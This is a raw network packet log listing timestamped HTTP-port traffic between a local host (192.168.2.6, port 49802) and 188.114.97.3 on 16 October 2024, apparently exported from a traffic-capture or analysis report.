                                                                                    Oct 16, 2024 10:58:20.967138052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967144012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967149019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967176914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967190981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967231989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967243910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967255116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967272043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967284918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967294931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967395067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967406988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967421055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967431068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967446089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967470884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967470884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967489004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967514992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967533112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967567921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967581987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967593908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967605114 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967606068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967621088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967637062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967722893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967778921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967788935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967828989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967830896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967830896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967842102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967854977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967865944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.967879057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.967901945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.968029976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.968043089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.968054056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.968066931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.968091965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.999125004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.999161959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.999172926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.999217033 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.024492979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024513960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024525881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024552107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.024574995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.024593115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024605989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024616957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024629116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024632931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.024642944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.024657965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.024682045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.065984011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.065996885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.066009045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.066036940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.066061974 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.075659990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.075721979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.075754881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.075789928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.075819969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085041046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085055113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085067034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085078955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085092068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085098982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085114956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085122108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085134983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085144043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085146904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085165977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085170984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085196972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085200071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085211039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085227966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085236073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085256100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085349083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085386992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085410118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085422039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085438967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085450888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085464954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085493088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085551023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085578918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085597038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085609913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085612059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085623026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085633039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085658073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085782051 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085793018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085805893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085819006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085819960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085832119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.085849047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.085870981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.117372990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.117386103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.117397070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.117433071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.117459059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.142772913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142827034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.142867088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142879009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142890930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142909050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142913103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.142923117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142934084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.142936945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142949104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.142963886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.142980099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.183156967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.183171034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.183182955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.183222055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.183259010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.192735910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.192745924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.192756891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.192768097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.192790031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.192830086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202362061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202373981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202384949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202394962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202406883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202418089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202430010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202438116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202472925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202491999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202533007 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202687979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202701092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202735901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202748060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202869892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202884912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202900887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.202912092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202935934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.202946901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203068972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203078985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203089952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203100920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203110933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203123093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203123093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203138113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203156948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203216076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203231096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203242064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203254938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203263998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203294039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203402042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203414917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203440905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203459978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203465939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203495026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203656912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203668118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203680038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203691959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203702927 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203704119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203716040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.203727961 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203742027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.203799009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.234886885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.234896898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.234956026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.235027075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.235037088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.235064030 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.235093117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.260807991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260828972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260840893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260878086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.260910988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.260952950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260967016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260979891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260991096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.260998011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.261003017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.261015892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.261046886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.300728083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.300739050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.300750971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.300791025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.300826073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.310456991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.310467005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.310477018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.310488939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.310509920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.310544968 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320627928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320638895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320683956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320713997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320735931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320746899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320758104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320760965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320775032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320787907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320802927 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320802927 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320827007 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320897102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320909023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320919037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.320944071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.320965052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321021080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321033001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321043968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321060896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321074963 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321079969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321093082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321122885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321156025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321214914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321225882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321253061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321257114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321269989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321276903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321305037 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321405888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321450949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321461916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321486950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321499109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321522951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321535110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321547031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321562052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321571112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321592093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.321696997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321749926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321762085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321773052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.321821928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.351706982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.351716995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.351726055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.351768970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.351803064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378122091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378139019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378148079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378170013 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378185034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378371000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378381014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378390074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378418922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378418922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378422976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378434896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378446102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.378463984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378473043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.378490925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.417782068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.417800903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.417810917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.417830944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.417857885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.428037882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.428083897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.428102970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.428114891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.428141117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.428153038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438443899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438456059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438466072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438503027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438504934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438514948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438524008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438528061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438545942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438560009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438601017 CEST8049802188.114.97.3192.168.2.6
